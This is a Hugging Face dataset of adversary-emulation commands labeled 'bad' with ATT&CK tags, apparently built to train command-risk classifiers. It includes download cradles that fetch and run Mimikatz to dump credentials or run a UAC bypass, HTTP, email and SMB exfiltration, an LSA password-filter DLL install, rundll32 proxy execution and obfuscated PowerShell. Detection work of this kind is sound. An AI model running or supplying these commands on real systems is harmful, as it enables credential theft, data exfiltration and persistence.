cowWhySo/permission-command-corpus huggingface dataset:
Command: Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execute base64-encoded PowerShell from Windows Registry
Notes: Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.
Command: "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execution from Compressed File
Notes: Mimic execution of compressed executable. When successfully executed, calculator.exe will open.
Command: taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execution from Compressed File
Notes: Mimic execution of compressed executable. When successfully executed, calculator.exe will open.
Command: Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: DLP Evasion via Sensitive Data in VBA Macro over email
Notes: Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Command: Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: DLP Evasion via Sensitive Data in VBA Macro over HTTP
Notes: Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Command: $cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Obfuscated Command in PowerShell
Notes: This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command: $file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Snake Malware Encrypted crmlog file
Notes: The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
Command: $fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Snake Malware Encrypted crmlog file
Notes: The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
Command: "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execution from Compressed JScript File
Notes: Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/
Command: taskkill /f /im calculator.exe >nul 2>nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execution from Compressed JScript File
Notes: Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/
Command: $ps = [char[]](112,111,119,101,114,115,104,101,108,108) $cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101) & (-join $ps) "-Command" (-join $cmd)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Obfuscated PowerShell Command via Character Array
Notes: Spawns a child PowerShell process using character array obfuscation. 
Both the PowerShell binary name and executed command are constructed 
from ASCII values at runtime to evade string-based detection.
Command: reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $notificationPackagesValues = $lsaKey.GetValue("Notification Packages") $notificationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.002
Platform: windows
ATT&CK tags: T1556.002
Source rule: Install and Register Password Filter DLL
Notes: Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection
Source is in src folder. 
This does require a reboot to see the filter loaded into lsass.exe. 
It does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.
Command: reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.002
Platform: windows
ATT&CK tags: T1556.002
Source rule: Install and Register Password Filter DLL
Notes: Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection
Source is in src folder. 
This does require a reboot to see the filter loaded into lsass.exe. 
It does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.
Command: reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages") $AuthenticationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1556.002
Platform: windows
ATT&CK tags: T1556.002
Source rule: Install Additional Authentication Packages
Notes: lsass.exe loads all DLLs specified by the Authentication Packages REG_MULTI_SZ value.
Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.
The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection
Source is in src folder. 
This does require a reboot to see the filter loaded into lsass.exe. 
It does require Administrative privileges to import the clean registry valu
Command: yes > /dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1496
Platform: linux,macos
ATT&CK tags: T1496
Source rule: FreeBSD/macOS/Linux - Simulate CPU Load with Yes
Notes: This test simulates a high CPU load as you might observe during cryptojacking attacks.
End the test by using CTRL/CMD+C to break.
Command: $end = (Get-Date).AddSeconds(#{duration_seconds}) 1..#{cpu_threads} | ForEach-Object { Start-Job { param($t) while((Get-Date) -lt $t) { $i=0; while($i -lt 200000){$i++} } } -ArgumentList $end } Get-Job | Wait-Job | Remove-Job
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1496
Platform: windows
ATT&CK tags: T1496
Source rule: Windows - Simulate CPU Load with PowerShell
Notes: This test simulates high CPU load using PowerShell, commonly seen in resource hijacking.
Spawns background jobs to stress CPU cores for a specified duration.
Command: New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck copy '#{local_file}' 'Z:\'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1570
Platform: windows
ATT&CK tags: T1570
Source rule: Exfiltration Over SMB over QUIC (New-SmbMapping)
Notes: Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.
Prerequisites:
  - A file server running Windows Server 2022 Datacenter: Azure Edition
  - A Windows 11 computer
  - Windows Admin Center
Command: NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK copy '#{local_file}' '*:\'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1570
Platform: windows
ATT&CK tags: T1570
Source rule: Exfiltration Over SMB over QUIC (NET USE)
Notes: Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command.
Prerequisites:
  - A file server running Windows Server 2022 Datacenter: Azure Edition
  - A Windows 11 computer
  - Windows Admin Center
Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 execute JavaScript Remote Payload With GetObject
Notes: Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. 
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed.
Command: taskkill /IM notepad.exe /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 execute JavaScript Remote Payload With GetObject
Notes: Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. 
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed.
Command: rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 execute VBscript command
Notes: Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched
Command: rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 execute VBscript command using Ordinal number
Notes: Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched
Command: rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 advpack.dll Execution
Notes: Test execution of a command using rundll32.exe with advpack.dll.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
Upon execution calc.exe will be launched
Command: rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 ieadvpack.dll Execution
Notes: Test execution of a command using rundll32.exe with ieadvpack.dll.
Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
Command: rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 "#{inf_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 syssetup.dll Execution
Notes: Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 "#{inf_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 setupapi.dll Execution
Notes: Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
Command: rundll32.exe url.dll,OpenURL "PathToAtomicsFolder\T1218.011\src\index.hta" rundll32.exe URL.dll,FileProtocolHandler "PathToAtomicsFolder\T1218.011\src\akteullen.vbs"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Execution of HTA and VBS Files using Rundll32 and URL.dll
Notes: IcedID uses this TTP as follows:
  rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
Trickbot uses this TTP as follows:
  rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs

In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"
Command: rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Launches an executable using Rundll32 and pcwutl.dll
Notes: Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.
Command: rundll32.exe #{input_file}, StartW
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Execution of non-dll using rundll32.exe
Notes: Rundll32.exe running non-dll
Command: rundll32.exe "#{input_file}",#2
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 with Ordinal Value
Notes: Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. 
Upon successful execution, Calc.exe will spawn.
Command: rundll32.exe shell32.dll,Control_RunDLL "#{input_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 with Control_RunDLL
Notes: Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444.
Command: copy #{exe_to_launch} not_an_scr.scr rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 with desk.cpl
Notes: Rundll32.exe loading an executable renamed as .scr using desk.cpl 
Reference: 
  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)
SIGMA rules:
  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)
  - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/pro
Command: del not_an_scr.scr
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 with desk.cpl
Notes: Rundll32.exe loading an executable renamed as .scr using desk.cpl 
Reference: 
  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)
SIGMA rules:
  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)
  - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/pro
Command: rundll32.exe #{dll_file},krnl
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Running DLL with .init extension and function
Notes: This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up.
DLL created with the AtomicTestHarnesses Portable Executable Builder script.
Command: rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 execute command via FileProtocolHandler
Notes: Test execution of a command using rundll32.exe and the FileProtocolHandler technique.
Upon execution, calc.exe will be launched.
This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7
Command: rundll32.exe zipfldr.dll,RouteTheCall "#{exe_to_launch}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.011
Platform: windows
ATT&CK tags: T1218.011
Source rule: Rundll32 execute payload by calling RouteTheCall
Notes: Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml
Command: powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Mimikatz
Notes: Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command: import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1" try { Invoke-BloodHound -OutputDirectory $env:Temp } catch { $_; exit $_.Exception.HResult} Start-Sleep 5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Run BloodHound from local disk
Notes: Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
Command: Remove-Item $env:Temp\*BloodHound.zip -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Run BloodHound from local disk
Notes: Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
Command: write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1'); Invoke-BloodHound -OutputDirectory $env:Temp Start-Sleep 5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Run Bloodhound from Memory using Download Cradle
Notes: Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
Command: Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Invoke-AppPathBypass
Notes: Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/